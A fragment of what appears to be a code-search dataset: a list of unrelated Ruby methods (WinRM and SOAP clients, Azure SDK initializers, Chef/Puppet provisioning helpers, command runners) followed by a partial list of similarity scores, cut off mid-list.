"def create_driver\n parse_service_description\n\n @driver = SOAP::RPC::Driver.new @control_url, @type\n\n mapping_registry = UPnP::SOAPRegistry.new\n\n @actions.each do |name, arguments|\n soapaction = \"#{@type}##{name}\"\n qname = XSD::QName.new @type, name\n\n # TODO map ranges, enumerations\n arguments = arguments.map do |direction, arg_name, variable|\n type, = @variables[variable]\n\n schema_name = XSD::QName.new nil, arg_name\n\n mapping_registry.register :class => type, :schema_name => schema_name\n\n [direction, arg_name, @variables[variable].first]\n end\n\n @driver.proxy.add_rpc_method qname, soapaction, name, arguments\n @driver.send :add_rpc_method_interface, name, arguments\n end\n\n @driver.mapping_registry = mapping_registry\n\n @variables = nil\n end",
"def executor(user_account, options = {}) \n @executor ||= case self.class.name\n when /System/\n then Permit::Executor::System.new self, user_account, options\n else \n Permit::Executor::Base.new self, user_account, options\n end\n end",
"def console(service) = execute(service: service)",
"def execute_command(executor, command, options = {}) # :doc:\n log executor, command\n env = options[:env] || ENV[\"RAILS_ENV\"] || \"development\"\n sudo = options[:sudo] && !Gem.win_platform? ? \"sudo \" : \"\"\n config = { verbose: false }\n\n config[:capture] = options[:capture] if options[:capture]\n\n in_root { run(\"#{sudo}#{extify(executor)} #{command} RAILS_ENV=#{env}\", config) }\n end",
"def create_winrm_transport(host, options)\n require 'chef/provisioning/transport/winrm'\n winrm_transport = if options[:port] == 5986\n :ssl\n else\n options[:winrm_transport].nil? ? :negotiate : options[:winrm_transport].to_sym\n end\n port = options[:port] || @vm_helper.port\n winrm_options = {\n user: (options[:user]).to_s,\n pass: options[:password]\n }\n if options[:winrm_opts].nil?\n opt = options[:user].include?('\\\\') ? :disable_sspi : :basic_auth_only\n winrm_options[opt] = true\n else\n winrm_options.merge!(options[:winrm_opts])\n end\n endpoint = \"http#{winrm_transport == :ssl ? 's' : ''}://\"\\\n \"#{host}:#{port}/wsman\"\n\n Chef::Provisioning::Transport::WinRM.new(\n endpoint,\n winrm_transport,\n winrm_options,\n config\n )\n end",
"def initialize(executor, disable_horizontal = false, disable_vertical = false, max_width = nil, max_height = nil)\n self.executor = executor\n self.disable_horizontal = disable_horizontal\n self.disable_vertical = disable_vertical\n self.max_width = max_width\n self.max_height = max_height\n end",
"def command_factory\n end",
"def executor\n @executor ||= BoltSpec::Plans::MockExecutor.new(modulepath)\n end",
"def runner\n Runner.new(http_adapter )\n end",
"def create_command(text)\n self.class.concrete_command.new(self, text)\n end",
"def initialize\n # URL and TIMEOUT_SECONDS are defined in\n # config/initializers/movies_service_client_config.rb\n @client = ActionWebService::Client::XmlRpc.new(\n MoviesApi, \n ENDPOINT_URL, \n {:handler_name => 'movies_service', :timeout => TIMEOUT_SECONDS}\n )\n end",
"def create_worker model, method, scope, options = {}\n options = options.with_indifferent_access\n model = model.to_s.camelize\n data = {method: method, model: model, method_args: options[:method_args], query: scope.to_sql, count: scope.count }\n worker_id = BatchActionsWorker.perform_async(data)\n worker_data = ( \n { id: worker_id, fields: fields_from_model_method(model, method) }\n .with_indifferent_access)\n .merge(data)\n workers.push(worker_data)\n end",
"def build_powershell_command(script, interpreter)\n flags = [\n # Hides the copyright banner at startup.\n \"-NoLogo\",\n # Does not present an interactive prompt to the user.\n \"-NonInteractive\",\n # Does not load the Windows PowerShell profile.\n \"-NoProfile\",\n # always set the ExecutionPolicy flag\n # see http://technet.microsoft.com/en-us/library/ee176961.aspx\n \"-ExecutionPolicy Unrestricted\",\n # PowerShell will hang if STDIN is redirected\n # http://connect.microsoft.com/PowerShell/feedback/details/572313/powershell-exe-can-hang-if-stdin-is-redirected\n \"-InputFormat None\",\n ]\n\n \"#{interpreter}.exe #{flags.join(\" \")} -Command \\\"#{script.gsub('\"', '\\\"')}\\\"\"\n end",
"def shell_executor=(shell_executor)\n @executor.shell_executor = shell_executor\n end",
"def exec\n binding.pry\n # command.run(*service.exec(args.command))\n end",
"def executor\n @__context__.executor\n end",
"def create_execution request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_execution_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def execute_command(command_class, method, args = [])\n command_class.new.send(method, *args)\n end",
"def build_remote_cmd(task, cmd_str, input, given_opts, ssh_opts)\n Remote::Cmd.new(cmd_str, ssh_opts)\n end",
"def initialize(credentials = nil, base_url = nil, options = nil)\n super(credentials, options)\n @base_url = base_url || 'https://management.azure.com'\n\n fail ArgumentError, 'invalid type of credentials input parameter' unless credentials.is_a?(MsRest::ServiceClientCredentials) unless credentials.nil?\n @credentials = credentials\n\n @workflows = Workflows.new(self)\n @workflow_versions = WorkflowVersions.new(self)\n @workflow_triggers = WorkflowTriggers.new(self)\n @workflow_version_triggers = WorkflowVersionTriggers.new(self)\n @workflow_trigger_histories = WorkflowTriggerHistories.new(self)\n @workflow_runs = WorkflowRuns.new(self)\n @workflow_run_actions = WorkflowRunActions.new(self)\n @workflow_run_action_repetitions = WorkflowRunActionRepetitions.new(self)\n @workflow_run_action_repetitions_request_histories = WorkflowRunActionRepetitionsRequestHistories.new(self)\n @workflow_run_action_request_histories = WorkflowRunActionRequestHistories.new(self)\n @workflow_run_action_scope_repetitions = WorkflowRunActionScopeRepetitions.new(self)\n @workflow_run_operations = WorkflowRunOperations.new(self)\n @integration_accounts = IntegrationAccounts.new(self)\n @integration_account_assemblies = IntegrationAccountAssemblies.new(self)\n @integration_account_batch_configurations = IntegrationAccountBatchConfigurations.new(self)\n @integration_account_schemas = IntegrationAccountSchemas.new(self)\n @integration_account_maps = IntegrationAccountMaps.new(self)\n @integration_account_partners = IntegrationAccountPartners.new(self)\n @integration_account_agreements = IntegrationAccountAgreements.new(self)\n @integration_account_certificates = IntegrationAccountCertificates.new(self)\n @integration_account_sessions = IntegrationAccountSessions.new(self)\n @operations = Operations.new(self)\n @api_version = '2018-07-01-preview'\n @accept_language = 'en-US'\n @long_running_operation_retry_timeout = 30\n @generate_client_request_id = true\n add_telemetry\n end",
"def new_command_runner(*args, &block)\n SimpleCommander::Runner.instance_variable_set :\"@singleton\", SimpleCommander::Runner.new(args)\n program :name, 'test'\n program :version, '1.2.3'\n program :description, 'something'\n create_test_command\n yield if block\n SimpleCommander::Runner.instance\nend",
"def self_command #:nodoc:\n Foreman::Thor::DynamicCommand.new(namespace, class_options)\n end",
"def command_runner\n SimpleCommander::Runner.instance\nend",
"def execute &block\n @executor = block\n end",
"def establish_winrm(opts)\n http_method = ( server.port.to_s=~/(443|5986)/ ? 'https' : 'http' )\n endpoint = \"#{http_method}://#{server}/wsman\"\n\n transport_opts = {}\n transport_opts[:disable_sspi] = opts[:winrm_disable_sspi] unless opts[:winrm_disable_sspi].nil?\n transport_opts[:basic_auth_only] = opts[:winrm_basic_auth_only] unless opts[:winrm_basic_auth_only].nil?\n\n if opts[:winrm_krb5_realm]\n transport_opts[:realm] = opts[:winrm_krb5_realm]\n inst = WinRM::WinRMWebService.new(endpoint, :kerberos, transport_opts)\n else\n unless opts[:winrm_ssl_ca_store]\n transport_opts[:user] = opts[:winrm_user]\n transport_opts[:pass] = opts[:winrm_password]\n inst = WinRM::WinRMWebService.new(endpoint, :plaintext, transport_opts)\n else\n transport_opts[:user] = opts[:winrm_user]\n transport_opts[:pass] = opts[:winrm_password]\n transport_opts[:ca_trust_path] = opts[:winrm_ssl_ca_store]\n inst = WinRM::WinRMWebService.new(endpoint, :ssl, transport_opts)\n end\n end\n inst\n end",
"def method_missing(method_name, *arguments, &block)\n if @command_executor.respond_to?(method_name)\n @command_executor.send(method_name, *arguments)\n else\n super(method_name, *arguments, &block)\n end\n end",
"def create_from_env(&block)\n service_options = { client: Azure::Storage::Common::Client::create_from_env(&block), api_version: Azure::Storage::Queue::Default::STG_VERSION }\n Azure::Storage::Queue::QueueService.new(service_options, &block)\n end",
"def initialize(resource = nil)\n super(resource)\n @compilator = PuppetX::Coi::Jboss::Internal::CommandCompilator.new\n @execlogic = PuppetX::Coi::Jboss::Internal::ExecuteLogic.new\n @cli_executor = nil\n ensure_cli_executor\n end",
"def new(execution_context)\n Coordination::Task.new(execution_context, self)\n end",
"def create\n execute ['cmd', '/c', INSTALLUTIL, @resource[:arguments], @resource[:path]].flatten.compact.join(' ')\n end",
"def run_capistrano(roles=[:master], meth=:install) \n prerun_setup\n \n commands = meth == :install ? install_tasks : configure_tasks\n name = \"#{roles.first}_provisioner_#{meth}\"\n\n __define_task(name, roles) do\n commands.map {|command|\n task = find_task(command.to_sym) \n \n if task\n task.options.merge!(:roles => roles)\n execute_task task\n else\n if provisioner.respond_to?(command.to_sym)\n cmd = provisioner.send(command.to_sym)\n cmd = cmd.join(\" && \") if cmd.is_a?(Array)\n run(cmd)\n else\n self.send(command.to_sym)\n end\n end\n }\n end\n \n begin\n __run(name)\n return true\n rescue ::Capistrano::CommandError => e\n return false unless verbose\n puts \"Error: #{e} \" and raise ProvisionerException.new(\"Error: #{e}\")\n end\n end",
"def create\n Tipsy::Runners::Generator.new(args, @site)\n end",
"def newcommand(options, &block)\n raise \"No name given in command\" unless options.include?(:name)\n\n command = options[:name]\n\n SLAF::Commands.module_eval {\n define_method(\"#{command}_command\", &block)\n }\n\n SLAF::command_options || SLAF.command_options = {}\n\n if options.include?(:allow_arguments)\n SLAF::command_options[command] = options[:allow_arguments]\n else\n SLAF::command_options[command] = false\n end\nend",
"def createCommandClass( name, m_name )\n Object.const_set( name, Class.new( Command ) ).instance_eval do\n define_method( :initialize ) do |*args|\n inst_vars = []\n args.each do |k|\n inst_vars.push( k )\n end\n instance_variable_set( \"@_vars\", inst_vars )\n end\n end\n begin\n Command::Target_map[ name ] = m_name\n rescue Exception\n STDERR.puts( \"Error setting value in Command::Target_map: #{$!}\" )\n end\nend",
"def initialize(credentials = nil, base_url = nil, options = nil)\n super(credentials, options)\n @base_url = base_url || 'https://management.azure.com'\n\n fail ArgumentError, 'invalid type of credentials input parameter' unless credentials.is_a?(MsRest::ServiceClientCredentials) unless credentials.nil?\n @credentials = credentials\n\n @operations = Operations.new(self)\n @accounts = Accounts.new(self)\n @pools = Pools.new(self)\n @volumes = Volumes.new(self)\n @mount_targets = MountTargets.new(self)\n @snapshots = Snapshots.new(self)\n @api_version = '2019-06-01'\n @accept_language = 'en-US'\n @long_running_operation_retry_timeout = 30\n @generate_client_request_id = true\n add_telemetry\n end",
"def start(*args)\n unless started?\n # Windows only: start the webMethods windows service\n # TODO: how to start webMethods on other platforms?\n # TODO: how to start webMethods as a batch file?\n cmd = \"sc\"\n cmd += \" \\\\#{@url.host}\" unless @url.host == 'localhost'\n cmd += \" start #{@service} > NUL 2>&1\"\n system cmd\n\n wait_until(\"Starting\") do \n started?\n end\n end\n end",
"def create_client!\n Chef::ApiClient::Registration.new(node_name, client_path, http_api: rest).run\n end",
"def create_run(server, workflow, credentials)\n retries ||= TavernaPlayer.server_connection_error_retries\n server.create_run(workflow, credentials)\n rescue T2Server::ServerAtCapacityError\n status_message(\"full\")\n\n if cancelled?\n cancel\n return\n end\n\n sleep(TavernaPlayer.server_retry_interval)\n retry\n rescue T2Server::ConnectionError => ce\n status_message(\"network-error\")\n\n if cancelled?\n cancel\n return\n end\n\n sleep(TavernaPlayer.server_retry_interval)\n unless retries.zero?\n retries -= 1\n retry\n end\n\n # If we're out of retries, fail the run.\n failed(ce)\n end",
"def create_execution_context()\n app_ctx = self.application_context\n app_ctx ||= VAPI::Core.create_default_application_context()\n sec_ctx = self.security_context\n sec_ctx ||= VAPI::Core::SecurityContext.new\n return VAPI::Core::ExecutionContext.new(app_ctx, sec_ctx)\n end",
"def build_operation(options = {})\n double(:operation, {\n execute: true,\n metadata: {},\n trailing_metadata: {},\n deadline: Time.now.to_i + 600,\n cancelled?: false,\n execution_time: rand(1_000..10_000)\n }.merge(options))\n end",
"def build_operation(options = {})\n double(:operation, {\n execute: true,\n metadata: {},\n trailing_metadata: {},\n deadline: Time.now.to_i + 600,\n cancelled?: false,\n execution_time: rand(1_000..10_000)\n }.merge(options))\n end",
"def init_command\n restart_winrm_service if config[:restart_winrm]\n end",
"def bootstrap listener\n Conjur::Bootstrap::Command.constants.map{|c| Conjur::Bootstrap::Command.const_get(c)}.each do |cls|\n next unless cls.is_a?(Class)\n next unless cls.superclass == Conjur::Bootstrap::Command::Base\n cls.new(self, listener).perform\n end\n end",
"def web\n Minimart::Commands::Web.new(options).execute!\n\n rescue Minimart::Error::BaseError => e\n Minimart::Error.handle_exception(e)\n end",
"def execute_command_provider\n attributes.fetch(:executeCommandProvider)\n end",
"def sh(service) = execute(method: :shell, service: service)",
"def executor!\n @executor = true\n end",
"def executor!\n @executor = true\n end",
"def executor!\n @executor = true\n end",
"def bootstrap_class(class_name)\n if valid_soap_api? class_name\n klass = const_set(class_name.to_sym, Class.new do\n extend Vindicia::Bootstrap::ClassMethods\n end)\n\n klass.client.wsdl.document = determine_wsdl(class_name)\n\n klass.client.wsdl.soap_actions.each do |method|\n bootstrapped_method = bootstrap_method(method)\n klass.module_eval &bootstrapped_method\n end\n end\n end",
"def create\n commands = fetch_commands\n Puppet.debug(\"Commands: #{commands}\")\n\n commands.each do |message, command|\n bring_up(message, command)\n end\n end",
"def execute(method, host, *args)\n options = args.last.is_a?(Hash) ? args.pop : Hash.new\n\n connector = connector_for(host, options)\n if connector.nil?\n log.warn { \"No connector ports open on '#{host}'\" }\n HostConnector::Response.new(host, stderr: \"No connector ports open on '#{host}'\")\n elsif connector.is_a?(winrm.class)\n options.delete(:ssh)\n connector.send(method, host, *args, options)\n elsif connector.is_a?(ssh.class)\n options.delete(:winrm)\n connector.send(method, host, *args, options)\n end\n end",
"def command cmd, help = \"\", &blk\n Bot::Commands.create self, cmd, help, &blk\n end",
"def build_command\n \n # Initialise the excludes array\n excludes = Array.new\n \n # Fill the excludes array from the excludes listed in the config file\n if @ignore\n @ignore.each do |ignore|\n # Ability here to check for ! to see if we should use --include\n if(ignore[0,1] == \"!\")\n ignore.slice!(0)\n excludes << \" --include \\'#{ignore}\\'\"\n else\n excludes << \" --exclude \\'#{ignore}\\'\"\n end\n end\n end\n \n # Build the CLI excludes arguments for rsync\n exclude_cli = excludes.empty? ? '' : excludes.join\n \n # If we're in a dry run, set the rsync option\n dry_run = @dry_run ? ' --dry-run' : ''\n \n # Check for port and identity file\n ssh_options = Array.new\n\n if @remote.has_key?('port')\n if (port=@remote['port']).to_i > 0\n ssh_options << \"-p #{port}\"\n end\n end\n \n if @remote.has_key?('identity_file')\n ssh_options << \"-i #{File.expand_path @remote['identity_file']}\"\n end\n \n # Build additions if there are ssh_options in the array\n ssh_additions = ssh_options.empty? ? '' : \" -e '\" + (ssh_options.unshift('ssh')).join(' ') + \"'\"\n \n # Define the command\n @command = \"#{@rsync} -aiz --no-t --no-p --checksum --delete#{ssh_additions}#{dry_run} --exclude '.git' --exclude '.svn' --exclude '.gitignore' --exclude 'deploy-to.yml'#{exclude_cli} #{@base_dir}/ #{@remote_uri}\"\n \n end",
"def perform(invocation, options = {})\n invocation = SuperNode::Invocation.new(invocation)\n invocation.klass.new.send(invocation.method.to_sym, *invocation.args)\n end",
"def create_bot\n $bot = Discordrb::Bot.new(\n token: $config['discord_secret'],\n client_id: $config['discord_client'],\n log_mode: :quiet,\n intents: [\n :servers,\n :server_members,\n :server_bans,\n :server_emojis,\n :server_integrations,\n :server_webhooks,\n :server_invites,\n :server_voice_states,\n #:server_presences,\n :server_messages,\n :server_message_reactions,\n :server_message_typing,\n :direct_messages,\n :direct_message_reactions,\n :direct_message_typing\n ]\n )\n log(\"Created bot\")\nrescue => e\n fatal(\"Failed to create bot: #{e}\")\n exit\nend",
"def run_command(broker, targets, command, **kwargs, &block)\n params = { command: command }\n do_module_action(broker, agent_identities(targets), 'command', 'run', params, **kwargs, &block)\nend",
"def command(*args,&block)\n return @working_command if @working_command\n name, options = _parse_name_and_options(args,self.name)\n @working_command = cmd = Command.new({:plugin=>self,:name=>name}.merge(options))\n yield(cmd) if block\n bot.add_command(cmd)\n @working_command=nil \n @commands << cmd\n cmd\n end",
"def create_command(command_name)\n config.create_command_name = command_name ? \"::#{command_name}\" : nil\n end",
"def create_worker_pool request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_worker_pool_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def create(client, workspace: nil, options: {}, **data)\n with_params = data.merge(workspace: workspace).reject { |_,v| v.nil? || Array(v).empty? }\n self.new(parse(client.post(\"/tasks\", body: with_params, options: options)).first, client: client)\n end",
"def run_command(action, object, params = {})\n Response.new Command.new(action, object, params).run(@host, @key, @username, @port)\n end",
"def command_builder; end",
"def create_run request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_run_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::DataCatalog::Lineage::V1::Run.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def create_in_workspace(client, workspace: required(\"workspace\"), options: {}, **data)\n\n self.new(parse(client.post(\"/workspaces/#{workspace}/tasks\", body: data, options: options)).first, client: client)\n end",
"def initialize(credentials = nil, base_url = nil, options = nil)\n super(credentials, options)\n @base_url = base_url || 'https://management.azure.com'\n\n fail ArgumentError, 'invalid type of credentials input parameter' unless credentials.is_a?(MsRest::ServiceClientCredentials) unless credentials.nil?\n @credentials = credentials\n\n @api = Api.new(self)\n @api_revision = ApiRevision.new(self)\n @api_release = ApiRelease.new(self)\n @api_operation = ApiOperation.new(self)\n @api_operation_policy = ApiOperationPolicy.new(self)\n @tag = Tag.new(self)\n @api_product = ApiProduct.new(self)\n @api_policy = ApiPolicy.new(self)\n @api_schema = ApiSchema.new(self)\n @api_diagnostic = ApiDiagnostic.new(self)\n @api_issue = ApiIssue.new(self)\n @api_issue_comment = ApiIssueComment.new(self)\n @api_issue_attachment = ApiIssueAttachment.new(self)\n @api_tag_description = ApiTagDescription.new(self)\n @operation_operations = OperationOperations.new(self)\n @api_version_set = ApiVersionSet.new(self)\n @authorization_server = AuthorizationServer.new(self)\n @backend = Backend.new(self)\n @cache = Cache.new(self)\n @certificate = Certificate.new(self)\n @api_management_operations = ApiManagementOperations.new(self)\n @api_management_service_skus = ApiManagementServiceSkus.new(self)\n @api_management_service = ApiManagementService.new(self)\n @diagnostic = Diagnostic.new(self)\n @email_template = EmailTemplate.new(self)\n @group = Group.new(self)\n @group_user = GroupUser.new(self)\n @identity_provider = IdentityProvider.new(self)\n @issue = Issue.new(self)\n @logger = Logger.new(self)\n @network_status = NetworkStatus.new(self)\n @notification = Notification.new(self)\n @notification_recipient_user = NotificationRecipientUser.new(self)\n @notification_recipient_email = NotificationRecipientEmail.new(self)\n @open_id_connect_provider = OpenIdConnectProvider.new(self)\n @policy = Policy.new(self)\n @policy_snippet = PolicySnippet.new(self)\n @sign_in_settings = SignInSettings.new(self)\n @sign_up_settings = SignUpSettings.new(self)\n @delegation_settings = DelegationSettings.new(self)\n @product = Product.new(self)\n @product_api = ProductApi.new(self)\n @product_group = ProductGroup.new(self)\n @product_subscriptions = ProductSubscriptions.new(self)\n @product_policy = ProductPolicy.new(self)\n @property = Property.new(self)\n @quota_by_counter_keys = QuotaByCounterKeys.new(self)\n @quota_by_period_keys = QuotaByPeriodKeys.new(self)\n @region = Region.new(self)\n @reports = Reports.new(self)\n @subscription = Subscription.new(self)\n @tag_resource = TagResource.new(self)\n @tenant_access = TenantAccess.new(self)\n @tenant_access_git = TenantAccessGit.new(self)\n @tenant_configuration = TenantConfiguration.new(self)\n @user = User.new(self)\n @user_group = UserGroup.new(self)\n @user_subscription = UserSubscription.new(self)\n @user_identities = UserIdentities.new(self)\n @user_confirmation_password = UserConfirmationPassword.new(self)\n @api_export = ApiExport.new(self)\n @api_version = '2019-01-01'\n @accept_language = 'en-US'\n @long_running_operation_retry_timeout = 30\n @generate_client_request_id = true\n add_telemetry\n end",
"def make_request(operation, params, headers = {})\n path = Restool::Service::UriUtils.build_path(operation)\n\n Restool::Service::RemoteConnector.execute(\n @remote_client, operation, path, params, headers, @response_handler,\n @service_config.representations, @service_config.basic_auth\n )\n end",
"def initialize(executors, options = {})\n @thread = nil\n @executors = executors\n @stop_semaphore = Semaphore.new\n @options = options\n end",
"def get_and_execute_process_runner tool, options=nil\n tool = clean_path find_tool(tool)\n runner = get_process_runner\n runner.execute_win32 tool, options\n runner\n end",
"def create\n chef_server_rest.post(\"roles\", self)\n self\n end",
"def create_stream_execution(stream_id)\n authenticate unless authenticated?\n endpoint = \"#{@@streams_endpoint}/#{stream_id}/executions\"\n response = RestClient::Request.execute(\n url: endpoint,\n method: :post,\n headers: headers('application/json')\n )\n return JSON.parse(response.body)\n end",
"def ad_hoc_command_class\n @ad_hoc_command_class ||= AnsibleTowerClient::AdHocCommand\n end",
"def command_object\n @command_object ||= GitPusshuTen::Command.new(cli, configuration, hooks, environment)\n end",
"def execute_command command_text\r\n #TODO: really, what is point of this \"convenience\" method!?\r\n create_command( command_text ).execute\r\n end",
"def create_dispatcher(version, framework)\n command = RpcCommandFactory.create(version, framework)\n dispatcher = Dispatcher.new(framework)\n dispatcher.set_command(command)\n\n dispatcher\n end",
"def create_class(sub_id, run_method)\n klass = Class.new(Que::Job)\n klass.class_exec(run_method) do |run_method|\n klass.const_set \"RUN\", run_method\n def run(message,opts=nil)\n block = self.class.const_get(\"RUN\")\n block.call(message) if block\n end\n end\n class_name = \"Job#{sub_id.gsub(\"-\",\"_\")}\"\n Jobs.const_set(class_name, klass)\n \"QueBus::Jobs::#{class_name}\"\n end",
"def create(method, path)\n\t\tJayCutCommand.new(self, method, path)\t\t\n\tend",
"def add_handler(command_name, argument_names, http_method, path, data, role_index=0, &blk)\n # validate name, args, and method\n if not RoleBuilderUtils::is_valid_identifier? command_name\n raise BadParameterException, (command_name + \" is not a valid command name.\")\n end\n argument_names.each { |i|\n if not RoleBuilderUtils::is_valid_identifier? i\n raise BadParameterException, (i + \" is not a valid argument name.\")\n end\n }\n if not [\"GET\", \"POST\", \"PUT\", \"DELETE\"].include? http_method\n raise BadParameterException, (http_method + \" is not a valid HTTP method (is it capitalized?)\")\n end\n\n new_handler = {\n \"name\" => RoleBuilderUtils::normalize_identifier(command_name),\n \"method\" => http_method,\n \"path\" => path,\n \"data\" => data\n }\n\n implementation[\"roles\"][role_index][\"handlers\"] << new_handler\n\n # Add the method that will execute for this handler\n sinatra_path = RoleBuilderUtils::arguments_and_path_to_sinatra_path(argument_names, path)\n if http_method == \"GET\"\n get(sinatra_path, &blk)\n elsif http_method == \"POST\"\n post(sinatra_path, &blk)\n else\n raise BadParameterException, (\"Unknown HTTP method '\" + http_method + \"'.\")\n end\n def clear_handlers\n # Resets the handler list.\n set :implementation, Sinatra::RoleBuilder.empty_handlers\n end\n end",
"def runner_for( options )\n Runner.new( self, options )\n end",
"def create\n Statements::CreateRole.new(context: self)\n end",
"def remote_deployment_model\n site_url = self.endpoint_url\n username = self.username\n password = self.password\n cert_file = self.cert_file\n\n Class.new(RemoteDeployment) do\n self.site = site_url\n self.element_name = 'deployment'\n self.user = username\n self.password = password\n\n self.ssl_options = {\n verify_mode: OpenSSL::SSL::VERIFY_PEER,\n ca_file: cert_file\n } unless Rails.env.development?\n end\n end",
"def initialize(credentials = nil, base_url = nil, options = nil)\n super(credentials, options)\n @base_url = base_url || 'http://localhost:9080'\n\n fail ArgumentError, 'invalid type of credentials input parameter' unless credentials.is_a?(MsRest::ServiceClientCredentials) unless credentials.nil?\n @credentials = credentials\n\n add_telemetry\n end",
"def initialize(credentials = nil, base_url = nil, options = nil)\n super(credentials, options)\n @base_url = base_url || 'http://localhost:9080'\n\n fail ArgumentError, 'invalid type of credentials input parameter' unless credentials.is_a?(MsRest::ServiceClientCredentials) unless credentials.nil?\n @credentials = credentials\n\n add_telemetry\n end",
"def create_from_connection_string(connection_string, &block)\n service_options = { client: Azure::Storage::Common::Client::create_from_connection_string(connection_string, &block), api_version: Azure::Storage::Queue::Default::STG_VERSION }\n Azure::Storage::Queue::QueueService.new(service_options, &block)\n end",
"def build_e2e_test_execution_cmd(test_configuration)\n run_tests_command = ''\n # bind environment variable for base url to be used in e2e base config.\n Kernel.abort('Please specify a base url. For example --base-url=http://foo.com') if test_configuration[:base_url].nil?\n bind_environment_variable('RHD_BASE_URL', test_configuration[:base_url])\n bind_environment_variable('RHD_TEST_CONFIG', 'docker') if test_configuration[:docker]\n bind_environment_variable('RHD_TEST_CONFIG', 'browserstack') if test_configuration[:browserstack]\n bind_environment_variable('RHD_TEST_PROFILE', test_configuration[:profile]) if test_configuration[:profile]\n bind_environment_variable('RHD_CHIMP_TAGS', test_configuration[:cucumber_tags]) if test_configuration[:cucumber_tags]\n\n run_tests_command += \"--baseUrl=#{test_configuration[:base_url]}\"\n if test_configuration[:docker]\n # for running tests inside of docker\n test_configuration[:browser_count] = 1 if test_configuration[:browser_count].nil?\n test_configuration[:run_tests_command] = \"npm test -- #{run_tests_command}\"\n else\n # run tests via a local browser\n test_configuration[:run_tests_command] = \"cd #{@test_dir}/e2e && npm test -- #{run_tests_command}\"\n end\n end",
"def initialize( webService, name, productType = '', displayName = '' )\n @web = webService\n @id = ''\n @name = name\n @product_type = productType\n @display_name = displayName\n @code = ''\n #\n # Perform task to get thing.\n #\n thingTask = ThingTask.new( @web, self )\n response = thingTask.perform()\n #\n # If successful, then update the thing id and code.\n #\n if( response[:response] == 'success' )\n @id = response[:thing_id]\n @code = response[:code]\n end\n end",
"def build_remote_cmd(task, cmd_str, input, given_opts, ssh_opts)\n b = find_cmd_ssh_stub_block(remote_cmd_stubs, task, cmd_str, input, given_opts)\n if b\n Remote::CmdSpy.new(cmd_str, ssh_opts).tap(&b)\n else\n has_the_stubs_build_remote_cmd(cmd_str, ssh_opts)\n end\n end",
"def install_service_resource\n return @install_service_resource if @install_service_resource\n\n code = <<-EOH.gsub(/^ {8}/, '')\n IF \"#{wmi_property_from_query(:name, \"select * from Win32_Service where name = '#{new_resource.service_name}'\")}\" == \"#{new_resource.service_name}\" (\n #{new_resource.service_name}.exe stop\n #{new_resource.service_name}.exe uninstall\n )\n #{new_resource.service_name}.exe install\n EOH\n\n @install_service_resource = Chef::Resource::Batch.new(\"install-#{new_resource.service_name}\", run_context)\n @install_service_resource.code(code)\n @install_service_resource.cwd(new_resource.remote_fs)\n @install_service_resource\n end",
"def initialize(credentials = nil, base_url = nil, options = nil)\n super(credentials, options)\n @base_url = base_url || 'https://management.azure.com'\n\n fail ArgumentError, 'invalid type of credentials input parameter' unless credentials.is_a?(MsRest::ServiceClientCredentials) unless credentials.nil?\n @credentials = credentials\n\n @profiles = Profiles.new(self)\n @endpoints = Endpoints.new(self)\n @origins = Origins.new(self)\n @origin_groups = OriginGroups.new(self)\n @custom_domains = CustomDomains.new(self)\n @resource_usage_operations = ResourceUsageOperations.new(self)\n @operations = Operations.new(self)\n @edge_nodes = EdgeNodes.new(self)\n @policies = Policies.new(self)\n @managed_rule_sets = ManagedRuleSets.new(self)\n @api_version = '2020-04-15'\n @accept_language = 'en-US'\n @long_running_operation_retry_timeout = 30\n @generate_client_request_id = true\n add_telemetry\n end",
"def execute(operation, new_bindings)\n operation_inputs = []\n if operation.input.empty?\n operation_inputs = []\n else\n operation_inputs = operation.input.map{|i| execute(i, new_bindings)} \n end\n operation_args = operation.args\n\n if(new_bindings.has_key? operation.args[:id])\n operation_args = operation_args.merge(new_bindings[operation.args[:id]]){|param, value, new_value| new_value}\n end\n operation_args[:input] = operation_inputs\n return Operation.new(operation_args)\nend",
"def new_session\n @logger.info(\"Attempting to connect to WinRM (patched)...\")\n @logger.info(\" - Host: #{@host}\")\n @logger.info(\" - Port: #{@port}\")\n @logger.info(\" - Username: #{@username}\")\n\n client = ::WinRM::WinRMWebService.new(endpoint, :ssl, endpoint_options)\n client.set_timeout(@timeout_in_seconds)\n client.toggle_nori_type_casting(:off) #we don't want coersion of types\n client\n end",
"def initialize(service, connection, protocol)\n @service = service\n @connection = connection\n @protocol = protocol\n # define RPC proxy methods on this instance\n extract_rpcs(service).each do |rpc|\n define_singleton_method(rpc) { |*rpc_args| post_rpc(rpc, *rpc_args) }\n end\n end",
"def cloud_service_management(options = {})\n Azure::CloudServiceManagement::CloudServiceManagementService.new(default_client(options))\n end"
] |
[
"0.5140453",
"0.5140453",
"0.51375043",
"0.49277255",
"0.4920439",
"0.48939925",
"0.46898645",
"0.45556685",
"0.44710284",
"0.44393826",
"0.44165945",
"0.441473",
"0.4411758",
"0.4372179",
"0.43015683",
"0.42805913",
"0.42767406",
"0.42659163",
"0.42645863",
"0.422993",
"0.42163625",
"0.41966617",
"0.4188167",
"0.41602442",
